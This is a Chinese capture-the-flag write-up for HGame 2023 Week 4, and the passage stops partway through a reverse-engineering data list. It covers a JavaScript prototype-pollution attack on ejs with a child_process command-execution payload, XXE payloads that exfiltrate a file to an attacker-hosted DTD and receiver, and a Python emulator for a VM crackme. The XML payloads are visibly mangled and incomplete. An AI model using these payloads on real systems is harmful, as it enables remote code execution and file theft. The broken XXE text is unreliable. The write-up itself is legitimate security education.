HGame 2023 Week4 部分Writeup

文章同时发布于我的博客:https://blog.vvbbnn00.cn/archives/hgame2023week4-bu-fen-writeup

第四周的比赛难度较高,同时也出现了不少颇为有趣的题目。可惜笔者比较菜,做出来的题目数量并不是很多,不过里面确实有几道题值得好好讲讲。不多废话了,抓紧端上来吧(喜)。
注:本周CRYPTO类的赛题ECRSA在数学大佬的帮助下解出;本周REVERSE类赛题vm由大佬Latihas提供思路指导,在这里表达感谢!

Week4 比赛地址:https://hgame.vidar.club/contest/5

[WEB] Shared Diary

本题考查JavaScript的原型链污染漏洞,关于该漏洞的原理,网络上已经有十分详细的原理分析文章和复现教程,此处不再赘述,可以阅读这篇文章:https://blog.csdn.net/m0_62422842/article/details/125154265
分析程序源代码:

function merge(target, source) {
    for (let key in source) {
        // Prevent prototype pollution
        if (key === '__proto__') {
            throw new Error("Detected Prototype Pollution")
        }
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}
// ...
app.all("/login", (req, res) => {
    if (req.method == 'POST') {
        // save userinfo to session
        let data = {};
        try {
            merge(data, req.body)
        } catch (e) {
            console.log(e)
            return res.render("login", { message: "Don't pollution my shared diary!" })
        }
        req.session.data = data
        console.log(data, data.__proto__, req.body.__proto__);

        // check password
        let user = {};
        user.password = req.body.password;
        if (user.password === "testpassword") {
            user.role = 'admin'
        }
        if (user.role === 'admin') {
            req.session.role = 'admin'
            return res.redirect('/')
        } else {
            return res.render("login", { message: "Login as admin or don't touch my shared diary!" })
        }
    }
    res.render('login', { message: "" });
});
// ...

发现登录操作在验证密码之前,先调用了一下merge函数,将req.body的所有内容转移至data,而这个merge函数看似新增了一个if语句,将__proto__过滤,防止住了原型链污染,实则不然。其实变量除了内置__proto__之外,还内置了constructor属性,该属性是用于初始化变量的特殊方法,在该属性中包含prototype属性,而这个prototype属性指向的内容与__proto__是一致的。因此,我们可以以这个为突破口,实现原型链污染。
接着,我们需要找到一个可以利用的污染点,以便于我们执行任意代码。再次观察代码,我们发现,该程序使用ejs渲染后端网页,而ejs正好存在一个可以被利用的原型链污染漏洞,关于该漏洞的原理,网络上也有很多博主撰文分析过,若想进一步了解可以阅读该文章:https://blog.csdn.net/DARKNOTES/article/details/124000520。
于是,我们根据文章描述,创建本地环境,并尝试提交如下payload

{
    "username": "testusername",
    "password": "testpassword",
    "constructor": {
        "prototype": {
            "outputFunctionName": "1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');"
        }
    }
}

很可惜,注入失败,网页返回:

Error: outputFunctionName is not a valid JS identifier.

这是为什么呢?我们查询ejs的源代码后,发现outputFunctionName这一块的漏洞已经被修复,被利用:
HGame 2023 Week4 部分Writeup_第1张图片
不过问题不大,我们继续阅读源代码,发现此处的escapeFn变量似乎并没有被test,而这个escapeFn正是opts.escapeFunction
HGame 2023 Week4 部分Writeup_第2张图片
HGame 2023 Week4 部分Writeup_第3张图片
因此,我们只需将client设置为true,然后重启实例(因为若先前原型链被污染过,可能会因此报错,无法再被污染一次),将escapeFunction设置为注入的代码,即可,最后的payload如下:

{
    "username": "testusername",
    "password": "testpassword",
    "constructor": {
        "prototype": {
            "client": true,
            "escapeFunction": "1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')"
        }
    }
}

提交即可获得flag:

hgame{N0tice_prototype_pollution&&EJS_server_template_injection}

[WEB] Tell Me

访问网站,发现hint
HGame 2023 Week4 部分Writeup_第4张图片
下载源代码,发现玄只因藏在send.php中,代码的第一行甚至已经把XML加载实体打开了:
HGame 2023 Week4 部分Writeup_第5张图片
说明本题的突破口就在XML上,可以运用外部实体注入漏洞,关于该漏洞,可以阅读该文章:https://blog.csdn.net/weixin_44420143/article/details/118721145
按照教程,我们可以很轻松得写出注入用payload:
首先,在自己的网站服务器创建一个reciv.xml文件:

<用于接收文件信息的地址>/%file;'>">

接着,提交如下payload


DOCTYPE ANY[
<!ELEMENT user ANY >

<你的网站>/reciv.xml">%remote;%all;
]>
<user>
    <name>&send;name>
    <email>111email>
    <content>111content>
user>

即可在接收文件信息的地址接收到flag了。

当然,本题也可以通过网站的报错信息来读取flag,而且不需要额外布置服务器,payload如下:

">


DOCTYPE ANY[
<!ELEMENT user ANY >


%remote;
%parse;
]>
<user>
    <name>&getflag;name>
    <email>111email>
    <content>111content>
user>

最后得到的flag如下:

hgame{Be_Aware_0f_XXeBl1nd1njecti0n}

[REVERSE] vm

根据本题的Hint进行解题:

struct vm { 
	unsigned int reg[6]={0}; 
	unsigned int ip = 0; 
	unsigned int sp = 0; 
	bool zf = 0; 
};

将结构体导入IDA,然后对反编译代码做一些标注和类型修改,得到以下主程序:
HGame 2023 Week4 部分Writeup_第6张图片
此处的run_vm函数是笔者自己取的名字,也是本题的主要的函数,进入函数后:
HGame 2023 Week4 部分Writeup_第7张图片
HGame 2023 Week4 部分Writeup_第8张图片
可以发现,其实a1->ip就是内存的地址指针,code里存的就是代码了。既然如此,其实我们可以根据每一个函数的操作,用python复现完整的操作,顺便将代码变得更加可读。于是,便有了下面的代码:

p = [
    0, 3, 2, 0, 3, 0, 2, 3, 0, 0,
    0, 0, 0, 2, 1, 0, 0, 3, 2, 50,
    3, 0, 2, 3, 0, 0, 0, 0, 3, 0,
    1, 0, 0, 3, 2, 100, 3, 0, 2, 3,
    0, 0, 0, 0, 3, 3, 1, 0, 0, 3,
    0, 8, 0, 2, 2, 1, 3, 4, 1, 0,
    3, 5, 2, 0, 3, 0, 1, 2, 0, 2,
    0, 1, 1, 0, 0, 3, 0, 1, 3, 0,
    3, 0, 0, 2, 0, 3, 0, 3, 1, 40,
    4, 6, 95, 5, 0, 0, 3, 3, 0, 2,
    1, 0, 3, 2, 150, 3, 0, 2, 3, 0,
    0, 0, 0, 4, 7, 136, 0, 3, 0, 1,
    3, 0, 3, 0, 0, 2, 0, 3, 0, 3,
    1, 40, 4, 7, 99, 255, 255, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0
]

data = [
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    155, 0, 0, 0, 168, 0, 0, 0, 2, 0,
    0, 0, 188, 0, 0, 0, 172, 0, 0, 0,
    156, 0, 0, 0, 206, 0, 0, 0, 250, 0,
    0, 0, 2, 0, 0, 0, 185, 0, 0, 0,
    255, 0, 0, 0, 58, 0, 0, 0, 116, 0,
    0, 0, 72, 0, 0, 0, 25, 0, 0, 0,
    105, 0, 0, 0, 232, 0, 0, 0, 3, 0,
    0, 0, 203, 0, 0, 0, 201, 0, 0, 0,
    255, 0, 0, 0, 252, 0, 0, 0, 128, 0,
    0, 0, 214, 0, 0, 0, 141, 0, 0, 0,
    215, 0, 0, 0, 114, 0, 0, 0, 0, 0,
    0, 0, 167, 0, 0, 0, 29, 0, 0, 0,
    61, 0, 0, 0, 153, 0, 0, 0, 136, 0,
    0, 0, 153, 0, 0, 0, 191, 0, 0, 0,
    232, 0, 0, 0, 150, 0, 0, 0, 46, 0,
    0, 0, 93, 0, 0, 0, 87, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    201, 0, 0, 0, 169, 0, 0, 0, 189, 0,
    0, 0, 139, 0, 0, 0, 23, 0, 0, 0,
    194, 0, 0, 0, 110, 0, 0, 0, 248, 0,
    0, 0, 245, 0, 0, 0, 110, 0, 0, 0,
    99, 0, 0, 0, 99, 0, 0, 0, 213, 0,
    0, 0, 70, 0, 0, 0, 93, 0, 0, 0,
    22, 0, 0, 0, 152, 0, 0, 0, 56, 0,
    0, 0, 48, 0, 0, 0, 115, 0, 0, 0,
    56, 0, 0, 0, 193, 0, 0, 0, 94, 0,
    0, 0, 237, 0, 0, 0, 176, 0, 0, 0,
    41, 0, 0, 0, 90, 0, 0, 0, 24, 0,
    0, 0, 64, 0, 0, 0, 167, 0, 0, 0,
    253, 0, 0, 0, 10, 0, 0, 0, 30, 0,
    0, 0, 120, 0, 0, 0, 139, 0, 0, 0,
    98, 0, 0, 0, 219, 0, 0, 0, 15, 0,
    0, 0, 143, 0, 0, 0, 156, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 72, 0, 0, 0, 241, 0, 0, 0, 64,
    0, 0, 0, 33, 0, 0, 1, 53, 0, 0,
    0, 100, 0, 0, 1, 120, 0, 0, 0, 249,
    0, 0, 1, 24, 0, 0, 0, 82, 0, 0,
    0, 37, 0, 0, 1, 93, 0, 0, 0, 71,
    0, 0, 0, 253, 0, 0, 1, 105, 0, 0,
    0, 92, 0, 0, 1, 175, 0, 0, 0, 178,
    0, 0, 1, 236, 0, 0, 1, 82, 0, 0,
    1, 79, 0, 0, 1, 26, 0, 0, 0, 80,
    0, 0, 1, 133, 0, 0, 0, 205, 0, 0,
    0, 35, 0, 0, 0, 248, 0, 0, 0, 12,
    0, 0, 0, 207, 0, 0, 1, 61, 0, 0,
    1, 69, 0, 0, 0, 130, 0, 0, 1, 210,
    0, 0, 1, 41, 0, 0, 1, 213, 0, 0,
    1, 6, 0, 0, 1, 162, 0, 0, 0, 222,
    0, 0, 1, 166, 0, 0, 1, 202, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0
]


class Stack:
    def __init__(self, size):
        self.size = size
        self.stack = []
        self.top = -1

    def push(self, ele):  # 入栈之前检查栈是否已满
        if self.isFull():
            raise Exception("out of range")
        else:
            self.stack.append(ele)
            self.top = self.top + 1

    def pop(self):  # 出栈之前检查栈是否为空
        if self.isEmpty():
            raise Exception("stack is empty")
        else:
            self.top = self.top - 1
            return self.stack.pop()

    def isFull(self):
        return self.top + 1 == self.size

    def isEmpty(self):
        return self.top == -1


def load(s):
    global data
    data1 = []
    cnt = 0
    number = 0
    for i in data:
        number += i << (cnt * 8)
        cnt += 1
        if cnt == 4:
            cnt = 0
            data1.append(number)
            number = 0
    data = data1
    for i in range(len(s)):
        data[i] = ord(s[i])


if __name__ == '__main__':
    ip = 0
    stack = Stack(1000000000)
    reg = [0, 0, 0, 0, 0, 0]
    load('hgame{' + '0' * 33)
    print(data[150:])
    zf = False
    while True:
        cmd = p[ip]
        if cmd == 0:
            cmd2 = p[ip + 1]
            if cmd2 == 3:
                reg[p[ip + 2]] = p[ip + 3]
                print(f'reg[{p[ip + 2]}]={p[ip + 3]}, reg[{p[ip + 2]}]={reg[p[ip + 2]]}')
            elif cmd2 == 2:
                reg[p[ip + 2]] = reg[p[ip + 3]]
                print(f'reg[{p[ip + 2]}]=reg[{p[ip + 3]}], reg[{p[ip + 2]}]={reg[p[ip + 2]]}')
            elif cmd2 == 1:
                data[reg[2]] = reg[0]
                print(f'data[{reg[2]}]=reg[0], data[{reg[2]}]={data[reg[2]]}')
                print('data =', data)
            else:
                reg[0] = data[reg[2]]
                print(f"reg[0]=data[{reg[2]}], reg[0]={reg[0]}")
            ip += 4
        elif cmd == 1:
            cmd2 = p[ip + 1]
            if cmd2 == 1:
                stack.push(reg[0])
                print("stack.push(reg[0]), reg[0]=", reg[0], sep='')
            elif cmd2 == 2:
                stack.push(reg[2])
                print("stack.push(reg[2]), reg[2]=", reg[2], sep='')
            elif cmd2 == 3:
                stack.push(reg[3])
                print("stack.push(reg[3]), reg[3]=", reg[3], sep='')
            else:
                stack.push(reg[0])
                print("stack.push(reg[0]), reg[0]=", reg[0], sep='')
            ip += 2
        elif cmd == 2:
            cmd2 = p[ip + 1]
            if cmd2 == 1:
                reg[1] = stack.pop()
                print("reg[1]=stack.pop(), reg[1]=", reg[1], sep='')
            elif cmd2 == 2:
                reg[2] = stack.pop()
                print("reg[2]=stack.pop(), reg[2]=", reg[2], sep='')
            elif cmd2 == 3:
                reg[3] = stack.pop()
                print("reg[3]=stack.pop(), reg[3]=", reg[3], sep='')
            else:
                reg[0] = stack.pop()
                print("reg[0]=stack.pop(), reg[0]=", reg[0], sep='')
            ip += 2
        elif cmd == 3:
            cmd2 = p[ip + 1]
            if cmd2 == 0:
                reg[p[ip + 2]] += reg[p[ip + 3]]
                print(f"reg[{p[ip + 2]}]+=reg[{p[ip + 3]}], reg[{p[ip + 2]}]={reg[p[ip + 2]]}")
            elif cmd2 == 1:
                reg[p[ip + 2]] -= reg[p[ip + 3]]
                print(f"reg[{p[ip + 2]}]-=reg[{p[ip + 3]}], reg[{p[ip + 2]}]={reg[p[ip + 2]]}")
            elif cmd2 == 2:
                reg[p[ip + 2]] *= reg[p[ip + 3]]
                print(f"reg[{p[ip + 2]}]*=reg[{p[ip + 3]}], reg[{p[ip + 2]}]={reg[p[ip + 2]]}")
            elif cmd2 == 3:
                reg[p[ip + 2]] ^= reg[p[ip + 3]]
                print(f"reg[{p[ip + 2]}]^=reg[{p[ip + 3]}], reg[{p[ip + 2]}]={reg[p[ip + 2]]}")
            elif cmd2 == 4:
                reg[p[ip + 2]] <<= reg[p[ip + 3]]
                reg[p[ip + 2]] &= 0xff00
                print(f"reg[{p[ip + 2]}]<<=reg[{p[ip + 3]}], reg[{p[ip + 2]}]={reg[p[ip + 2]]}")
            elif cmd2 == 5:
                reg[p[ip + 2]] >>= reg[p[ip + 3]]
                print(f"reg[{p[ip + 2]}]>>=reg[{p[ip + 3]}], reg[{p[ip + 2]}]={reg[p[ip + 2]]}")
            ip += 4
        elif cmd == 4:
            zf = not reg[0] == reg[1]
            print("judge if reg[0] == reg[1], zf = ", zf, sep='')
            ip += 1
        elif cmd == 5:
            addr = p[ip + 1]
            print("jump to ", addr, sep='')
            ip = addr
        elif cmd == 6:
            if zf:
                addr = ip + 2
                print("expect zf, zf=True, continue")
            else:
                addr = p[ip + 1]
                print("expect zf, zf=False, jump to", addr)
            ip = addr
        elif cmd == 7:
            if zf:
                addr = p[ip + 1]
                print("expect not zf, zf=True, jump to", addr)
            else:
                addr = ip + 2
                print("expect not zf, zf=False, continue")
            ip = addr
        elif cmd == 255:
            exit()

这个程序是模拟输入的字符串为hgame{000000...的时候,程序的所有操作,输出如下:

[18432, 61696, 16384, 8448, 13569, 25600, 30721, 63744, 6145, 20992, 9472, 23809, 18176, 64768, 26881, 23552, 44801, 45568, 60417, 20993, 20225, 6657, 20480, 34049, 52480, 8960, 63488, 3072, 52992, 15617, 17665, 33280, 53761, 10497, 54529, 1537, 41473, 56832, 42497, 51713, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
reg[2]=0, reg[2]=0
reg[2]+=reg[3], reg[2]=0
reg[0]=data[0], reg[0]=104
reg[1]=reg[0], reg[1]=104
reg[2]=50, reg[2]=50
reg[2]+=reg[3], reg[2]=50
reg[0]=data[50], reg[0]=155
reg[1]+=reg[0], reg[1]=259
reg[2]=100, reg[2]=100
reg[2]+=reg[3], reg[2]=100
reg[0]=data[100], reg[0]=201
reg[1]^=reg[0], reg[1]=458
reg[0]=8, reg[0]=8
reg[2]=reg[1], reg[2]=458
reg[1]<<=reg[0], reg[1]=51712
reg[2]>>=reg[0], reg[2]=1
reg[1]+=reg[2], reg[1]=51713
reg[0]=reg[1], reg[0]=51713
stack.push(reg[0]), reg[0]=51713
reg[0]=1, reg[0]=1
reg[3]+=reg[0], reg[3]=1
reg[0]=reg[3], reg[0]=1
reg[1]=40, reg[1]=40
judge if reg[0] == reg[1], zf = True
expect zf, zf=True, continue
jump to 0
reg[2]=0, reg[2]=0
reg[2]+=reg[3], reg[2]=1
reg[0]=data[1], reg[0]=103
reg[1]=reg[0], reg[1]=103
reg[2]=50, reg[2]=50
reg[2]+=reg[3], reg[2]=51
reg[0]=data[51], reg[0]=168
reg[1]+=reg[0], reg[1]=271
reg[2]=100, reg[2]=100
reg[2]+=reg[3], reg[2]=101
reg[0]=data[101], reg[0]=169
reg[1]^=reg[0], reg[1]=422
reg[0]=8, reg[0]=8
reg[2]=reg[1], reg[2]=422
reg[1]<<=reg[0], reg[1]=42496
reg[2]>>=reg[0], reg[2]=1
reg[1]+=reg[2], reg[1]=42497
reg[0]=reg[1], reg[0]=42497
stack.push(reg[0]), reg[0]=42497
reg[0]=1, reg[0]=1
reg[3]+=reg[0], reg[3]=2
reg[0]=reg[3], reg[0]=2
reg[1]=40, reg[1]=40
judge if reg[0] == reg[1], zf = True
expect zf, zf=True, continue
jump to 0
reg[2]=0, reg[2]=0
reg[2]+=reg[3], reg[2]=2
reg[0]=data[2], reg[0]=97
reg[1]=reg[0], reg[1]=97
reg[2]=50, reg[2]=50
reg[2]+=reg[3], reg[2]=52
reg[0]=data[52], reg[0]=2
reg[1]+=reg[0], reg[1]=99
reg[2]=100, reg[2]=100
reg[2]+=reg[3], reg[2]=102
reg[0]=data[102], reg[0]=189
reg[1]^=reg[0], reg[1]=222
reg[0]=8, reg[0]=8
reg[2]=reg[1], reg[2]=222
reg[1]<<=reg[0], reg[1]=56832
reg[2]>>=reg[0], reg[2]=0
reg[1]+=reg[2], reg[1]=56832
reg[0]=reg[1], reg[0]=56832
stack.push(reg[0]), reg[0]=56832
reg[0]=1, reg[0]=1
reg[3]+=reg[0], reg[3]=3
reg[0]=reg[3], reg[0]=3
reg[1]=40, reg[1]=40
judge if reg[0] == reg[1], zf = True
expect zf, zf=True, continue
jump to 0
reg[2]=0, reg[2]=0
reg[2]+=reg[3], reg[2]=3
reg[0]=data[3], reg[0]=109
reg[1]=reg[0], reg[1]=109
reg[2]=50, reg[2]=50
reg[2]+=reg[3], reg[2]=53
reg[0]=data[53], reg[0]=188
reg[1]+=reg[0], reg[1]=297
reg[2]=100, reg[2]=100
reg[2]+=reg[3], reg[2]=103
reg[0]=data[103], reg[0]=139
reg[1]^=reg[0], reg[1]=418
reg[0]=8, reg[0]=8
reg[2]=reg[1], reg[2]=418
reg[1]<<=reg[0], reg[1]=41472
reg[2]>>=reg[0], reg[2]=1
reg[1]+=reg[2], reg[1]=41473
reg[0]=reg[1], reg[0]=41473
stack.push(reg[0]), reg[0]=41473

// 此处大多属于类似操作,故忽略

jump to 0
reg[2]=0, reg[2]=0
reg[2]+=reg[3], reg[2]=39
reg[0]=data[39], reg[0]=0
reg[1]=reg[0], reg[1]=0
reg[2]=50, reg[2]=50
reg[2]+=reg[3], reg[2]=89
reg[0]=data[89], reg[0]=87
reg[1]+=reg[0], reg[1]=87
reg[2]=100, reg[2]=100
reg[2]+=reg[3], reg[2]=139
reg[0]=data[139], reg[0]=156
reg[1]^=reg[0], reg[1]=203
reg[0]=8, reg[0]=8
reg[2]=reg[1], reg[2]=203
reg[1]<<=reg[0], reg[1]=51968
reg[2]>>=reg[0], reg[2]=0
reg[1]+=reg[2], reg[1]=51968
reg[0]=reg[1], reg[0]=51968
stack.push(reg[0]), reg[0]=51968
reg[0]=1, reg[0]=1
reg[3]+=reg[0], reg[3]=40
reg[0]=reg[3], reg[0]=40
reg[1]=40, reg[1]=40
judge if reg[0] == reg[1], zf = False
expect zf, zf=False, jump to 95
reg[3]=0, reg[3]=0
reg[1]=stack.pop(), reg[1]=51968
reg[2]=150, reg[2]=150
reg[2]+=reg[3], reg[2]=150
reg[0]=data[150], reg[0]=18432
judge if reg[0] == reg[1], zf = True
expect not zf, zf=True, jump to 136

可以看到在前半部分,程序都在对输入的字符进行加密,然后入栈,最后是从后往前对每一个字符进行校验,是否与程序中存储的答案一致,分析代码可知,大致的加密原理如下,i代表当前位数,最后r1是加密后的值:

r1 = data[i] + data[50 + i]
r0 = data[100 + i]
r1 = r1 ^ r0
r2 = r1
r1 = (r1 << 8) & 0xff00
r2 = r2 >> 8
r1 = r1 + r2

然后,加密完毕的结果都会在最后从后到前一位一位地校验,校验过程对应下面的代码:

reg[3]=0, reg[3]=0
reg[1]=stack.pop(), reg[1]=51968
reg[2]=150, reg[2]=150
reg[2]+=reg[3], reg[2]=150
reg[0]=data[150], reg[0]=18432
judge if reg[0] == reg[1], zf = True
expect not zf, zf=True, jump to 136

data[150]是第0位的值,经过后续验证,第151152…分别就是第12…位的值了,于是,我们将它们单独提取出来,写一个爆破脚本,破解出最后的flag。至于为什么不直接计算,那是因为我懒,而且也不会(
最后的爆破代码如下:

import string

data = [
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    155, 0, 0, 0, 168, 0, 0, 0, 2, 0,
    0, 0, 188, 0, 0, 0, 172, 0, 0, 0,
    156, 0, 0, 0, 206, 0, 0, 0, 250, 0,
    0, 0, 2, 0, 0, 0, 185, 0, 0, 0,
    255, 0, 0, 0, 58, 0, 0, 0, 116, 0,
    0, 0, 72, 0, 0, 0, 25, 0, 0, 0,
    105, 0, 0, 0, 232, 0, 0, 0, 3, 0,
    0, 0, 203, 0, 0, 0, 201, 0, 0, 0,
    255, 0, 0, 0, 252, 0, 0, 0, 128, 0,
    0, 0, 214, 0, 0, 0, 141, 0, 0, 0,
    215, 0, 0, 0, 114, 0, 0, 0, 0, 0,
    0, 0, 167, 0, 0, 0, 29, 0, 0, 0,
    61, 0, 0, 0, 153, 0, 0, 0, 136, 0,
    0, 0, 153, 0, 0, 0, 191, 0, 0, 0,
    232, 0, 0, 0, 150, 0, 0, 0, 46, 0,
    0, 0, 93, 0, 0, 0, 87, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    201, 0, 0, 0, 169, 0, 0, 0, 189, 0,
    0, 0, 139, 0, 0, 0, 23, 0, 0, 0,
    194, 0, 0, 0, 110, 0, 0, 0, 248, 0,
    0, 0, 245, 0, 0, 0, 110, 0, 0, 0,
    99, 0, 0, 0, 99, 0, 0, 0, 213, 0,
